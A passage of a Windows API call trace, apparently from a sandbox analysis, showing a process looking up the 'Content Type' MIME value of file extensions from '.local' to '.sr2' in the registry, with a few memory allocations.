phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.699] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.699] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.699] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".local", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.700] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.700] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.700] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".log", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.700] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.700] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.701] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".lpcm", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.701] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/l16", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.701] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.701] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".lst", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.702] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.702] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.702] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".lzh", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.702] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.703] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.703] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".m14", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.703] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.703] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.703] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".m1v", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.704] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/mpeg", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.704] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.704] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".m2t", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.705] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/vnd.dlna.mpeg-tts", lpcbData=0xc0006b98fc*=0x30) returned 0x0 [0182.705] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.705] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".m2ts", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.706] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/vnd.dlna.mpeg-tts", lpcbData=0xc0006b98fc*=0x30) returned 0x0 [0182.706] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.706] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".m2v", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.706] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/mpeg", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.707] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.707] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".m3u", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.707] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/x-mpegurl", lpcbData=0xc0006b98fc*=0x20) returned 0x0 [0182.708] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.708] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".m4a", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.708] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/mp4", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.708] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.709] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".m4b", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.709] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.710] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.710] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".m4p", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.710] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.710] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.710] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".m4r", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.711] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.711] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.711] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".m4v", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.711] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="video/mp4", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.712] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.712] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".mak", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.712] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.712] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.714] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".man", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.714] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-troff-man", lpcbData=0xc0006b98fc*=0x30) returned 0x0 [0182.714] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.714] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".manifest", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.715] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.716] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".mapimail", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.716] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.716] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".mdc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.717] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.718] VirtualAlloc (lpAddress=0xc000878000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000878000 [0182.719] VirtualAlloc (lpAddress=0xc00087a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00087a000 [0182.743] VirtualAlloc (lpAddress=0xc00087c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00087c000 [0182.762] VirtualAlloc (lpAddress=0xc00087e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00087e000 [0182.801] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.819] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".s", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.820] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.820] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.820] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sbr", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.821] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.821] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.823] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sc2", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.823] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.823] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.823] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".scc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.824] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.824] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.824] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".scd", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.825] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.825] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.825] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".scf", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.825] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.826] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.826] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sch", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.826] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.827] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.827] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".scp", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.827] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.828] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.828] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".scr", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.828] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.828] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.829] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sct", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.829] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/scriptlet", lpcbData=0xc0006b98fc*=0x1e) returned 0x0 [0182.829] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.829] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".search-ms", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.830] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.830] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.830] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".searchConnector-ms", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.831] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x52) returned 0xea [0182.831] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0000dc1e0, lpcbData=0xc0006b98fc*=0x52 | out: lpType=0xc0006b98f8*=0x1, lpData="application/windows-search-connector+xml", lpcbData=0xc0006b98fc*=0x52) returned 0x0 [0182.831] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.832] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".secstore", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.832] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.832] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.832] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sed", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.833] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.833] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.833] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".settingcontent-ms", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.834] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.834] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.835] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sfcache", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.835] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.835] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.836] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".shtm", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.836] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.836] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.836] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".shtml", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.837] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/html", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.837] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.837] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sit", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.838] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-stuffit", lpcbData=0xc0006b98fc*=0x2c) returned 0x0 [0182.838] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.838] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".snd", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.839] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="audio/basic", lpcbData=0xc0006b98fc*=0x18) returned 0x0 [0182.839] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.839] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sol", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.839] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/plain", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.840] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.840] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".solitairetheme8", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.840] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.841] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.841] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sor", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.841] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="text/plain", lpcbData=0xc0006b98fc*=0x16) returned 0x0 [0182.841] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.842] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".spc", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.842] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x42) returned 0xea [0182.842] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0002824b0, lpcbData=0xc0006b98fc*=0x42 | out: lpType=0xc0006b98f8*=0x1, lpData="application/x-pkcs7-certificates", lpcbData=0xc0006b98fc*=0x42) returned 0x0 [0182.843] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.843] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".spl", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.843] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="application/futuresplash", lpcbData=0xc0006b98fc*=0x32) returned 0x0 [0182.844] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.844] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sql", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.844] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x0, lpData=0xc0006b9980*=0x0, lpcbData=0xc0006b98fc*=0x40) returned 0x2 [0182.844] RegCloseKey (hKey=0x1c6) returned 0x0 [0182.845] RegOpenKeyExW (in: hKey=0x80000000, lpSubKey=".sr2", ulOptions=0x0, samDesired=0x20019, phkResult=0xc0006b99b0 | out: phkResult=0xc0006b99b0*=0x1c6) returned 0x0 [0182.845] RegQueryValueExW (in: hKey=0x1c6, lpValueName="Content Type", lpReserved=0x0, lpType=0xc0006b98f8, lpData=0xc0006b9980, lpcbData=0xc0006b98fc*=0x40 | out: lpType=0xc0006b98f8*=0x1, lpData="image/SR2", lpcbData=0xc0006b98fc*=0x14) returned 0x0 [0182.846] RegCloseKey 